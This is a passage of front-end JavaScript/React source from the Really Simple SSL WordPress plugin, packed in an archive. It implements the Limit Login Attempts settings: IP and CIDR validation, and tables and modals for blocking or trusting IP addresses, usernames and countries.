        if(ipAddress.length === 0) {
            return;
        }
        let ipRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$|^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,4}|((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))$/;
        if (ipAddress.includes('/')) {
            let finalIp = '';
            // Split the input into IP and CIDR mask
            let [ip, mask] = ipAddress.split('/');
              //if , we change it to .
            ip = ip.replace(/,/g, '.');
            if (mask.length <= 0 ) {
                 if (!ipRegex.test(ip)) {
                    set({maskError: true});
                } else {
                    set({maskError: false});
                 }
                finalIp = `${ip}/${mask}`;
            } else {
                finalIp = mask ? `${ip}/${mask}` : ip;
            }
            set({ ipAddress: finalIp })
        } else {
            if (!ipRegex.test(ipAddress)) {
                set({maskError: true});
            } else {
                set({maskError: false});
            }
            set({ ipAddress: ipAddress.replace(/,/g, '.') })
        }
    },

    resetRange: () => {
        set({inputRangeValidated: false});
        set({highestIP: ''});
        set({lowestIP: ''});
        set({ipAddress: ''});
        set({maskError: false});
    },

    /*
    * This function sets the status selected and is used by Cidr and IpAddressInput and from the options
     */
    setStatusSelected: (statusSelected) => {
        set({statusSelected});
    },

    /*
    * This function sets the id selected and is used by Cidr and IpAddressInput and from the options
     */
    setId: (idSelected) => {
        set({idSelected});
    },

    /*
    * This function updates the row only changing the status
     */
    /*
* This function updates the row only changing the status
 */
    updateRow: async (value, status, dataActions) => {
        set({processing: true});
        let data = {
            value: value,
            status: status
        };
        try {
            const response = await rsssl_api.doAction(
                'ip_update_row',
                data
            );
            if (response && response.request_success) {
                await get().fetchData('rsssl_limit_login', dataActions);
                return { success: true, message: response.message, response };
            } else {
                return { success: false, message: response?.message || 'Failed to add ip', response };
            }
        } catch (e) {
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    /**
     * This function validates the ip address string if it is a proper ip address
     * This checks ipv4 addresses
     *
     * @param ip
     * @returns {boolean}
     */
    validateIpv4: (ip) => {
        const parts = ip.split(".");
        if (parts.length !== 4) return false;
        for (let part of parts) {
            const num = parseInt(part, 10);
            if (isNaN(num) || num < 0 || num > 255) return false;
        }
        return true;
    },

    /**
     * This function validates the ip address string if it is a proper ip address
     * This checks ipv6 addresses
     *
     * @param ip
     * @returns {boolean}
     */
    validateIpv6: (ip) => {
        const parts = ip.split(":");
        if (parts.length !== 8) return false;

        for (let part of parts) {
            if (part.length > 4 || !/^[0-9a-fA-F]+$/.test(part)) return false;
        }

        return true;
    },

    extendIpV6: (ip) => {
        // Handle the special case of '::' at the start or end
        if (ip === '::') ip = '0::0';

        // Handle the '::' within the address
        if (ip.includes('::')) {
            const parts = ip.split('::');
            if (parts.length > 2) return false;

            const left = parts[0].split(':').filter(Boolean);
            const right = parts[1].split(':').filter(Boolean);

            // Calculate how many zeros are needed
            const zerosNeeded = 8 - (left.length + right.length);

            // Concatenate all parts with the appropriate number of zeros
            return [...left, ...Array(zerosNeeded).fill('0'), ...right].join(':');
        }
        return ip;
    },

    /**
     * This function converts the ip address to a number
     *
     * @param ip
     * @returns {*}
     */
    ipToNumber: (ip) => {
        if (get().validateIpv4(ip)) {
            return get().ipV4ToNumber(ip);
        } else if (get().validateIpv6(get().extendIpV6(ip))) {
            return get().ipV6ToNumber(get().extendIpV6(ip));
        }
    },

    /**
     * This function converts the ip address to a number if it is a ipv4 address
     * @param ip
     * @returns {*}
     */
    ipV4ToNumber: (ip) => {
        return ip.split(".").reduce((acc, cur) => (acc * 256 + parseInt(cur, 10)) >>> 0, 0);
    },

    /**
     * This function converts the ip address to a number if it is a ipv6 address
     * @param ip
     * @returns {*}
     */
    ipV6ToNumber: (ip) => {
        return ip.split(":").reduce((acc, cur) => {
            const segmentValue = parseInt(cur, 16);
            if (isNaN(segmentValue)) {
                console.warn(`Invalid segment in IPv6 address: ${oldIp}`);
                return acc;
            }
            return (acc << BigInt(16)) + BigInt(segmentValue);
        }, BigInt(0));
    },

    /**
     * This function validates the ip range, if the lowest is lower than the highest
     * This checks ipv4 and ipv6 addresses
     *
     * @param lowest
     * @param highest
     */
    validateIpRange: (lowest, highest) => {
        set({inputRangeValidated: false});
        let from = '';
        let to = '';
        //first we determine if the IP is ipv4 or ipv6
        if (lowest && highest) {
            if (get().validateIpv4(lowest) && get().validateIpv4(highest)) {
                //now we check if the lowest is lower than the highest
                if (get().ipToNumber(lowest) > get().ipToNumber(highest)) {
                    console.warn('lowest is higher than highest');
                    set({inputRangeValidated: false});
                    return;
                }
                from = lowest;
                to = highest;
                set({inputRangeValidated: true});
            } else if (get().validateIpv6(get().extendIpV6(lowest)) && get().validateIpv6(get().extendIpV6(highest))) {
                //now we check if the lowest is lower than the highest
                if (get().ipToNumber(get().extendIpV6(lowest)) > get().ipToNumber(get().extendIpV6(highest))) {
                    console.warn('lowest is higher than highest');
                    set({inputRangeValidated: false});
                    return;
                }
                from = get().extendIpV6(lowest);
                to = get().extendIpV6(highest);
                set({inputRangeValidated: true});
            }
        }
        if (get().inputRangeValidated) {
            let lowest = from;
            let highest = to;
            set({ipRange: {lowest, highest}});
            get().fetchCidrData('get_mask_from_range');
        }
    },

    /**
     * This function fetches the cidr data from the server and sets the cidr and ip_count
     * This function is called from the Cidr class
     *
     * @param action
     * @returns {Promise<void>}
     */
    fetchCidrData: async (action) => {
        try {
            const response = await rsssl_api.doAction(
                action,
                get().ipRange
            );
            //now we set the EventLog
            if (response) {
               //we set the cidrFound and cidrCount
                set({cidr: response.cidr, ipAddress: response.cidr, ip_count: response.ip_count, canSetCidr: true});
                //we reload the event log

            }
        } catch (e) {
            console.log(e);
        }
    },

    resetRow: async (id, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'delete_entries',
                {id}
            );
            //now we set the EventLog
            if (response && response.success) {
                await get().fetchData('rsssl_limit_login', dataActions);
                // Return the success message from the API response.
                return { success: true, message: response.message, response };
            } else {
                // Return a custom error message or the API response message.
                return { success: false, message: response?.message || 'Failed to reset ip', response };
            }
        } catch (e) {
            console.error(e);
            // Return the caught error with a custom message.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    resetMultiRow: async (ids, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'delete_entries',
                {ids}
            );
            //now we set the EventLog
            if (response && response.success) {
                if (response.success) {
                    await get().fetchData('rsssl_limit_login', dataActions);
                    return {success: true, message: response.message, response};
                } else
                    return {success: false, message: response?.message || 'Failed to reset ip', response};
            }
        } catch (e) {
            console.error(e);
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    }
}));

export default IpAddressDataTableStore;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/UserDataTableStore.js000064400000013324147510273070024206 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {__} from "@wordpress/i18n";
import {produce} from "immer";
import React from "react";

const UserDataTableStore = create((set, get) => ({

    processing: false,
    dataLoaded: false,
    pagination: {},
    dataActions: {},
    UserDataTable: [],
    rowCleared: false,

    fetchData: async (action, dataActions) => {
        //we check if the processing is already true, if so we return
        set({processing: true});
        set({dataLoaded: false});
        set({rowCleared: true});
        if (Object.keys(dataActions).length === 0) {
            let dataActions = get().dataActions;
        }

        if ( !get().processing ) {
            return;
        }

        if (Object.keys(dataActions).length === 0) {
            return;
        }

        //we empty all existing data
        set({UserDataTable: []});

        try {
            const response = await rsssl_api.doAction(
                action,
                dataActions
            );
            //now we set the EventLog
            //now we set the EventLog
            if (response && response.request_success) {
                set({UserDataTable: response, dataLoaded: true, processing: false, pagination: response.pagination});
            }
            set({ rowCleared: true });
        } catch (e) {
            console.log(e);
        } finally {
            set({processing: false});
            set({rowCleared: false});

        }
    },

    handleUserTableSearch: async (search, searchColumns) => {
        //Add the search to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, search, searchColumns};
            })
        );
    },

    handleUserTablePageChange: async (page, pageSize) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, page, pageSize};
            })
        );
    },

    handleUserTableRowsChange: async (currentRowsPerPage, currentPage) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentRowsPerPage, currentPage};
            })
        );
    },

    //this handles all pagination and sorting
    handleUserTableSort: async (column, sortDirection) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, sortColumn: column, sortDirection};
            })
        );
    },

    handleUserTableFilter: async (column, filterValue) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, filterColumn: column, filterValue};
            })
        );
    },

    /*
* This function updates the row only changing the status
 */
    updateRow: async (value, status, dataActions) => {
        set({processing: true});
        let data = {
            value: value,
            status: status
        };
        try {
            const response = await rsssl_api.doAction(
                'user_update_row',
               data
            );
            if (response && response.request_success) {
                await get().fetchData('rsssl_limit_login_user', dataActions);
                return { success: true, message: response.message, response };
            } else {
                return { success: false, message: response?.message || 'Failed to add user', response };
            }
        } catch (e) {
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    resetRow: async (id, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'delete_entries',
                {id}
            );
            //now we set the EventLog
            if (response && response.success) {
                await get().fetchData('rsssl_limit_login_user', dataActions);
                // Return the success message from the API response.
                return { success: true, message: response.message, response };
            } else {
                // Return a custom error message or the API response message.
                return { success: false, message: response?.message || 'Failed to reset user', response };
            }
        } catch (e) {
            console.error(e);
            // Return the caught error with a custom message.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    resetMultiRow: async (ids, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'delete_entries',
                {ids}
            );
            console.error(response);
            //now we set the EventLog
            if (response && response.success) {
                if (response.success) {
                    await get().fetchUserData('rsssl_limit_login_user', dataActions);
                    return {success: true, message: response.message, response};
                } else
                    return {success: false, message: response?.message || 'Failed to reset user', response};
            }
        } catch (e) {
            console.error(e);
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    }
}));

export default UserDataTableStore;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/Cidr.js000064400000004273147510273070021375 0ustar00import { useState } from "@wordpress/element";
import IpAddressDataTableStore from "./IpAddressDataTableStore";
import IpAddressInput from "./IpAddressInput";

const Cidr = () => {
    const [lowestIP, setLowestIP] = useState("");
    const [highestIP, setHighestIP] = useState("");
    const { validateIpRange } = IpAddressDataTableStore();

    const cleanupIpAddress = (ipAddress) => {
        return ipAddress.replace(/,/g, '.');
    }

    const handleLowestIPChange = (ip) => {
        setLowestIP(cleanupIpAddress(ip));
    }

    const handleHighestIPChange = (ip) => {
        setHighestIP(cleanupIpAddress(ip));
    }

    return (
        <>
            <div className="rsssl-ip-address-input">
                <div className="rsssl-ip-address-input__inner">
                    <div className="rsssl-ip-address-input__icon"></div>
                    <IpAddressInput
                        id="lowestIP"
                        type="text"
                        className="rsssl-ip-address-input__input"
                        value={lowestIP}
                        onChange={ (e) => handleLowestIPChange(e.target.value)}
                    />
                </div>
                <div className="rsssl-ip-address-input__inner">
                    <div className="rsssl-ip-address-input__icon"></div>
                    <IpAddressInput
                        id="highestIP"
                        type="text"
                        className="rsssl-ip-address-input__input"
                        value={highestIP}
                        onChange={(e) => handleHighestIPChange(e.target.value)}
                    />
                </div>
                <div className={'rsssl-container'}>
                    <div className={'rsssl-container__inner'}>
                        <button
                            className={'button button--primary'}
                            onClick={() => {
                                validateIpRange(lowestIP, highestIP);
                            }}
                        >
                            Validate
                        </button>
                    </div>
                </div>
            </div>
        </>
    );
}

export default Cidr;
really-simple-ssl/settings/src/Settings/LimitLoginAttempts/AddUserModal.js000064400000007323147510273070023017 0ustar00import { useState} from '@wordpress/element';
import {Modal, Button} from "@wordpress/components";
import UserDataTableStore from "./UserDataTableStore";
import EventLogDataTableStore from "../EventLog/EventLogDataTableStore";
import {__} from "@wordpress/i18n";
import FieldsData from "../FieldsData";


const AddUserModal = (props) => {
    if (!props.isOpen) return null;

    const {updateRow} = UserDataTableStore();
    const {fetchDynamicData} = EventLogDataTableStore();
    const [user, setUser] = useState('');
    const {showSavedSettingsNotice} = FieldsData();

    async function handleSubmit() {
        let status = props.status;
        // we check if statusSelected is not empty
        if (user !== '') {
            await updateRow(user, status, props.dataActions).then((response) => {
               if(response.success) {
                   showSavedSettingsNotice(response.message);
               } else {
                     showSavedSettingsNotice(response.message, 'error');
               }
            });
            //we clear the input
            setUser('');
            await fetchDynamicData('event_log');
        }
        props.onRequestClose();
    }

    return (
        <Modal
            title={__("Add User", "really-simple-ssl")}
            shouldCloseOnClickOutside={true}
            shouldCloseOnEsc={true}
            overlayClassName="rsssl-modal-overlay"
            className="rsssl-modal"
            onRequestClose={props.onRequestClose}
        >
            <div className="modal-content">
                <div className="modal-body"
                     style={{
                         padding: "1em",
                     }}
                >
                    <div
                        style={{
                            width: "95%",
                            height: "100%",
                            padding: "10px",
                        }}
                    >
                        <p>
                            <label htmlFor="username"
                                   className="rsssl-label"
                            >{__("Username", "really-simple-ssl")}</label>
                            <input
                                type="text"
                                className="rsssl-input full"
                                id="username"
                                name="username"
                                onChange={(e) => setUser(e.target.value)}
                            />
                        </p>
                    </div>
                </div>
                <div className="modal-footer">
                    {/*//we add two buttons here for add row and cancel*/}
                    <div
                        className={'rsssl-grid-item-footer'}
                        style
                            ={{
                            display: 'flex',
                            justifyContent: 'flex-end',
                            alignItems: 'center',
                            padding: '1em',
                        }
                        }
                    >
                        <Button
                            isSecondary
                            onClick={props.onRequestClose}
                            style={{marginRight: '10px'}}

                        >
                            {__("Cancel", "really-simple-ssl")}
                        </Button>
                        <Button
                            isPrimary
                            onClick={handleSubmit}
                        >
                            {__("Add", "really-simple-ssl")}
                        </Button>
                    </div>

                </div>
            </div>
        </Modal>
    )
}

export default AddUserModal;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/LimitLoginAttemptsData.js000064400000001262147510273070025072 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {__} from "@wordpress/i18n";
import {produce} from "immer";
import React from "react";

const LimitLoginAttemptsData = create((set, get) => ({

    processing:false,
    dataLoaded: false,
    EventLog: [],

    fetchEventLog: async (selectedFilter) => {
        set({processing:true});
        try {
            let response = await rsssl_api.doAction(selectedFilter);
            set({EventLog: response, dataLoaded: true, processing:false});
        } catch (e) {
            console.log(e);
        }
    }
}));

export default LimitLoginAttemptsData;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/AddIpAddressModal.js000064400000010504147510273070023752 0ustar00import {useEffect, useState} from '@wordpress/element';
import {
    Modal,
    Button,
} from "@wordpress/components";
import IpAddressDataTableStore   from "./IpAddressDataTableStore";
import {__} from "@wordpress/i18n";
import IpAddressInput from "./IpAddressInput";
import EventLogDataTableStore from "../EventLog/EventLogDataTableStore";
import FieldsData from "../FieldsData";

const AddIpAddressModal = (props) => {
    const { inputRangeValidated, fetchCidrData, ipAddress, setIpAddress, maskError, dataLoaded, updateRow, resetRange} = IpAddressDataTableStore();
    const [rangeDisplay, setRangeDisplay] = useState(false);
    const {fetchDynamicData} = EventLogDataTableStore();
    const {showSavedSettingsNotice} = FieldsData();

    useEffect(() => {
        //we validate the range
        if (inputRangeValidated) {
            //we get the mask
            fetchCidrData('get_mask_from_range')
        }
    }, [inputRangeValidated]);

    async function handleSubmit() {
        let status = props.status;
        // we check if statusSelected is not empty
        if (ipAddress && maskError === false) {
            await updateRow(ipAddress, status, props.dataActions).then((response) => {
                if (response.success) {
                    showSavedSettingsNotice(response.message);
                } else {
                    showSavedSettingsNotice(response.message, 'error');
                }
            });
            //we clear the input
            resetRange();
            //we close the modal
            props.onRequestClose();
            //we fetch the data again
            fetchDynamicData('event_log')
        }
    }

    function handleCancel() {
        // Reset all local state
        setRangeDisplay(false);
        resetRange();

        // Close the modal
        props.onRequestClose();
    }
    if (!props.isOpen) {
        return null;
    }
    return (
        <Modal
            title={__("Add IP Address", "really-simple-ssl")}
            shouldCloseOnClickOutside={true}
            shouldCloseOnEsc={true}
            overlayClassName="rsssl-modal-overlay"
            className="rsssl-modal"
            onRequestClose={props.onRequestClose}
        >
            <div className="modal-content">
                <div className="modal-body"
                    style={{
                        padding: "1em",
                        }}
                >
                    <div
                        style={{
                            width: "95%",
                            height: "100%",
                            padding: "10px",
                        }}
                    >
                        <div>
                            <IpAddressInput
                                label={__("IP Address", "really-simple-ssl")}
                                id="ip-address"
                                name="ip-address"
                                showSwitch={true}
                                value={ipAddress}
                                onChange={(e) => setIpAddress(e.target.value)}
                            />
                        </div>
                    </div>
                </div>
                <div className="modal-footer">
                    {/*//we add two buttons here for add row and cancel*/}
                    <div
                        className={'rsssl-grid-item-footer'}
                        style
                        ={{
                            display: 'flex',
                            justifyContent: 'flex-end',
                            alignItems: 'center',
                            padding: '1em',
                            }
                        }
                    >
                        <Button
                            isSecondary
                            onClick={handleCancel}
                            style={{ marginRight: '10px' }}

                        >
                            {__("Cancel", "really-simple-ssl")}
                        </Button>
                        <Button
                            isPrimary
                            onClick={handleSubmit}
                        >
                            {__("Add", "really-simple-ssl")}
                        </Button>
                    </div>

                </div>
            </div>
        </Modal>
    )
}

export default AddIpAddressModal;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/UserDatatable.js000064400000024273147510273070023236 0ustar00import {__} from '@wordpress/i18n';
import {useCallback, useEffect, useState} from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import UserDataTableStore from "./UserDataTableStore";
import FilterData from "../FilterData";

import {button} from "@wordpress/components";
import {produce} from "immer";
import AddIpAddressModal from "./AddIpAddressModal";
import AddUserModal from "./AddUserModal";
import EventLogDataTableStore from "../EventLog/EventLogDataTableStore";
import useFields from "../FieldsData";
import FieldsData from "../FieldsData";
import SearchBar from "../DynamicDataTable/SearchBar";
import AddButton from "../DynamicDataTable/AddButton";

const UserDatatable = (props) => {
    let {
        UserDataTable,
        dataLoaded,
        fetchData,
        processing,
        handleUserTableFilter,
        handleUserTablePageChange,
        pagination,
        resetRow,
        resetMultiRow,
        dataActions,
        handleUserTableRowsChange,
        handleUserTableSort,
        handleUserTableSearch,
        updateMultiRow,
        updateRow,
        rowCleared
    } = UserDataTableStore()
    const {showSavedSettingsNotice} = FieldsData();
    const {
        fetchDynamicData,
    } = EventLogDataTableStore();
    //here we set the selectedFilter from the Settings group
    const {
        selectedFilter,
        setSelectedFilter,
        activeGroupId,
        getCurrentFilter,
        setProcessingFilter,
    } = FilterData();

    const [rowsSelected, setRowsSelected] = useState([]);
    const [addingUser, setAddingUser] = useState(false);
    const [user, setUser] = useState('');
    const [tableHeight, setTableHeight] = useState(600);  // Starting height
    const rowHeight = 50; // Height of each row.

    const moduleName = 'rsssl-group-filter-limit_login_attempts_users';
    const {fields, fieldAlreadyEnabled, getFieldValue, saveFields} = useFields();

    const buildColumn = useCallback((column) => ({
        name: column.name,
        sortable: column.sortable,
        searchable: column.searchable,
        width: column.width,
        visible: column.visible,
        column: column.column,
        selector: row => row[column.column],
    }), []);
    //getting the fields from the props
    let field = props.field;
    //we loop through the fields
    const columns = field.columns.map(buildColumn);

    const searchableColumns = columns
        .filter(column => column.searchable)
        .map(column => column.column);

    useEffect(() => {
        const currentFilter = getCurrentFilter(moduleName);
        if (!currentFilter) {
            setSelectedFilter('locked', moduleName);
        }
        setProcessingFilter(processing);
        handleUserTableFilter('status', currentFilter);
    }, [moduleName, handleUserTableFilter, getCurrentFilter(moduleName), setSelectedFilter, UserDatatable, processing]);

    useEffect(() => {
        setRowsSelected([]);
    }, [UserDataTable]);

    //if the dataActions are changed, we fetch the data
    useEffect(() => {
        //we make sure the dataActions are changed in the store before we fetch the data
        if (dataActions) {
            fetchData(field.action, dataActions)
        }
    }, [dataActions.sortDirection, dataActions.filterValue, dataActions.search, dataActions.page, dataActions.currentRowsPerPage, fieldAlreadyEnabled('enable_limited_login_attempts')]);

    let enabled = getFieldValue('enable_limited_login_attempts');


    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0', // override the cell padding for head cells
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0', // override the cell padding for data cells
                paddingRight: '0',
            },
        },
    };
    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    const handleOpen = () => {
        setAddingUser(true);
    };

    const handleClose = () => {
        setAddingUser(false);
    };

    //now we get the options for the select control
    let options = props.field.options;
    //we divide the key into label and the value into value
    options = Object.entries(options).map((item) => {
        return {label: item[1], value: item[0]};
    });

    const resetUsers = useCallback(async (data) => {
        if (Array.isArray(data)) {
            const ids = data.map((item) => item.id);
            await resetMultiRow(ids, dataActions).then((response) => {
                if (response && response.success) {
                    showSavedSettingsNotice(response.message);
                } else {
                    showSavedSettingsNotice(response.message, 'error');
                }
            });
            setRowsSelected([]);
        } else {
            await resetRow(data, dataActions).then((response) => {
                if (response && response.success) {
                    showSavedSettingsNotice(response.message);
                } else {
                    showSavedSettingsNotice(response.message);
                }
            });
        }
        await fetchDynamicData('event_log');
    }, [resetMultiRow, resetRow, fetchDynamicData, dataActions]);

    const handleSelection = useCallback((state) => {
        setRowsSelected(state.selectedRows);
    }, []);

    const ActionButton = ({onClick, children, className}) => (
        <div className={`rsssl-action-buttons__inner`}>
            <button
                className={`button ${className} rsssl-action-buttons__button`}
                onClick={onClick}
                disabled={processing}
            >
                {children}
            </button>
        </div>
    );

    const generateActionButtons = useCallback((id, status, region_name) => (
        <div className="rsssl-action-buttons">
            <ActionButton onClick={() => {
                resetUsers(id);
            }}
                          className="button-red">
                {__("Delete", "really-simple-ssl")}
            </ActionButton>
        </div>
    ), [getCurrentFilter(moduleName), moduleName, resetUsers]);


//we convert the data to an array
let data = {...UserDataTable.data};

for (const key in data) {
    let dataItem = {...data[key]}
    //we log the dataItem
    //we add the action buttons
    dataItem.action = generateActionButtons(dataItem.id);
    dataItem.status = __(dataItem.status = dataItem.status.charAt(0).toUpperCase() + dataItem.status.slice(1), 'really-simple-ssl');
    data[key] = dataItem;
}

    let paginationSet;
    paginationSet = typeof pagination !== 'undefined';

    useEffect(() => {
        if (Object.keys(data).length === 0 ) {
            setTableHeight(100); // Adjust depending on your UI measurements
        } else {
            setTableHeight(rowHeight * (paginationSet ? pagination.perPage + 2 : 12)); // Adjust depending on your UI measurements
        }

    }, [paginationSet, pagination?.perPage, data]);

return (
    <>
        <AddUserModal
            isOpen={addingUser}
            onRequestClose={handleClose}
            options={options}
            value={user}
            status={getCurrentFilter(moduleName)}
            dataActions={dataActions}
        >
        </AddUserModal>
        <div className="rsssl-container">
            {/*display the add button on left side*/}
            <AddButton
                getCurrentFilter={getCurrentFilter}
                moduleName={moduleName}
                handleOpen={handleOpen}
                processing={processing}
                blockedText={__("Block Username", "really-simple-ssl")}
                allowedText={__("Trust Username", "really-simple-ssl")}
            />
            {/*Display the search bar*/}
            <SearchBar handleSearch={handleUserTableSearch} searchableColumns={searchableColumns}/>
        </div>
        { /*Display the action form what to do with the selected*/}
        {rowsSelected.length > 0 && (
            <div style={{
                marginTop: '1em',
                marginBottom: '1em',
            }}>
                <div className={"rsssl-multiselect-datatable-form rsssl-primary"}
                >
                    <div>
                        {__("You have selected %s rows", "really-simple-ssl").replace('%s', rowsSelected.length)}
                    </div>

                    <div className="rsssl-action-buttons">
                        {/* if the id is new we show the Delete button */}
                        <ActionButton
                            className="button button-red rsssl-action-buttons__button"
                            onClick={() => {resetUsers(rowsSelected)}}>
                            {__("Delete", "really-simple-ssl")}
                        </ActionButton>
                    </div>
                </div>
            </div>
        )}
        {/*Display the datatable*/}
            <DataTable
                columns={columns}
                data={processing && !dataLoaded? [] : Object.values(data)}
                dense
                pagination={!processing}
                paginationServer
                paginationTotalRows={paginationSet? pagination.totalRows: 10}
                onChangeRowsPerPage={handleUserTableRowsChange}
                onChangePage={handleUserTablePageChange}
                sortServer={!processing}
                onSort={handleUserTableSort}
                paginationRowsPerPageOptions={[10, 25, 50, 100]}
                selectableRows={!processing}
                onSelectedRowsChange={handleSelection}
                clearSelectedRows={rowCleared}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                theme="really-simple-plugins"
                customStyles={customStyles}
            ></DataTable>
        {!enabled && (
            <div className="rsssl-locked">
                <div className="rsssl-locked-overlay"><span
                    className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Activate Limit login attempts to enable this block.', 'really-simple-ssl')}</span>
                </div>
            </div>
        )}
    </>
);

}
export default UserDatatable;


really-simple-ssl/settings/src/Settings/LimitLoginAttempts/CountryDatatable.js000064400000042452147510273070023762 0ustar00import {useEffect, useState, useCallback} from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import CountryDataTableStore from "./CountryDataTableStore";
import EventLogDataTableStore from "../EventLog/EventLogDataTableStore";
import FilterData from "../FilterData";
import Flag from "../../utils/Flag/Flag";
import {__} from '@wordpress/i18n';
import useFields from "../FieldsData";
import SearchBar from "../DynamicDataTable/SearchBar";
import useMenu from "../../Menu/MenuData";

const CountryDatatable = (props) => {
    const {fieldAlreadyEnabled, getFieldValue, getField, showSavedSettingsNotice, saveFields, setHighLightField} = useFields();
    const {
        CountryDataTable,
        dataLoaded,
        fetchData,
        processing,
        handleCountryTableFilter,
        updateRow,
        pagination,
        handleCountryTablePageChange,
        handleCountryTableRowsChange,
        handleCountryTableSort,
        handleCountryTableSearch,
        addRegion,
        resetRegions,
        addRowMultiple,
        resetRow,
        resetMultiRow,
        updateRowRegion,
        dataActions,
        rowCleared,
        setDataActions,
    } = CountryDataTableStore();

    const {setSelectedSubMenuItem} = useMenu();

    const {
        fetchDynamicData,
    } = EventLogDataTableStore();

    const {
        setSelectedFilter,
        getCurrentFilter,
        setProcessingFilter,
    } = FilterData();

    const [rowsSelected, setRowsSelected] = useState([]);
    const moduleName = 'rsssl-group-filter-limit_login_attempts_country';
    const [tableHeight, setTableHeight] = useState(600);  // Starting height
    const rowHeight = 50; // Height of each row.

    useEffect(() => {
        const element = document.getElementById('set_to_captcha_configuration');
        const clickListener = async event => {
            event.preventDefault();
            if (element) {
                await redirectToAddCaptcha(element);
            }
        };

        if (element) {
            element.addEventListener('click', clickListener);
        }

        return () => {
            if (element) {
                element.removeEventListener('click', clickListener);
            }
        };
    }, []);

    const redirectToAddCaptcha = async (element) => {
        // We fetch the props from the menu item
        let menuItem = getField('enabled_captcha_provider');

        // Create a new object based on the menuItem, including the new property
        let highlightingMenuItem = {
            ...menuItem,
            highlight_field_id: 'enabled_captcha_provider',
        };

        setHighLightField(highlightingMenuItem.highlight_field_id);
        let highlightField = getField(highlightingMenuItem.highlight_field_id);
        await setSelectedSubMenuItem(highlightField.menu_id);
    }

    const buildColumn = useCallback((column) => ({
        //if the filter is set to region and the columns = status we do not want to show the column
        omit: getCurrentFilter(moduleName) === 'regions' && column.column === 'status',
        name: column.name,
        sortable: column.sortable,
        searchable: column.searchable,
        width: column.width,
        visible: column.visible,
        column: column.column,
        selector: row => row[column.column],
    }), []);
    let field = props.field;
    const columns = field.columns.map(buildColumn);

    const searchableColumns = columns
        .filter(column => column.searchable)
        .map(column => column.column);

    useEffect(() => {
        const currentFilter = getCurrentFilter(moduleName);
        if (!currentFilter) {
            setSelectedFilter('blocked', moduleName);
        }
        setProcessingFilter(processing);
        handleCountryTableFilter('status', currentFilter);

    }, [moduleName, handleCountryTableFilter, getCurrentFilter(moduleName), setSelectedFilter, CountryDatatable, processing]);

    useEffect(() => {
        if (dataActions.filterColumn === 'status') {
            const {search, searchColumns, ...rest} = dataActions;
            setDataActions(rest);
        }
    }, [dataActions.filterColumn])

    useEffect(() => {
        setRowsSelected([]);
    }, [CountryDataTable]);

    //if the dataActions are changed, we fetch the data
    useEffect(() => {
        //we make sure the dataActions are changed in the store before we fetch the data
        if (dataActions) {
            fetchData(field.action, dataActions)
        }
    }, [dataActions.sortDirection, dataActions.filterValue, dataActions.search, dataActions.page, dataActions.currentRowsPerPage, fieldAlreadyEnabled('enable_limited_login_attempts')]);

    let enabled = getFieldValue('enable_limited_login_attempts');


    useEffect(() => {
        return () => {
            saveFields(false, false)
        };
    }, [enabled]);


    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };

    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
